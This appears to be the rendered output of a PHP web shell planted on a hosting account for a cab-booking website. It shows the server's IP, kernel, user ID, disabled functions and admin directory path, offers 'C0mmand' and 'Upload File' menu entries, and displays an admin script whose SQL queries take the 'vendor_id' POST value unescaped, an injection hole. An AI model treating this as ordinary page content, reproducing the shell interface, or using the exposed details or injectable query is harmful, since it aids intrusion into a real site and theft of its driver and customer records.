Server IP : 82.112.239.40 / Your IP : 18.116.60.124 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/cabz4you.com/public_html/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include 'lib/core.php'; if(auth()) { if($_SERVER['REQUEST_METHOD']=="POST") { if(isset($_POST['booking_id']) && isset($_POST['vendor_id'] )) { $booking_id=test_input($_POST['booking_id']); $vendor_id=test_input($_POST['vendor_id']); //get user information $sql="select * from drivers where vendor_id=$vendor_id"; $result = $conn->query($sql); if ($result->num_rows > 0) { $response['drivermsg']='ok'; // output data of each row while($row = $result->fetch_assoc()) { $response['drivers'][]=$row; } } else { $response['drivermsg']='no'; } //get user information $sql="select * from cabs where vendor_id=$vendor_id"; $result = $conn->query($sql); if ($result->num_rows > 0) { $response['cabmsg']='ok'; // output data of each row while($row = $result->fetch_assoc()) { $response['cabs'][]=$row; } } else { $response['cabmsg']='no'; } echo json_encode($response); } } }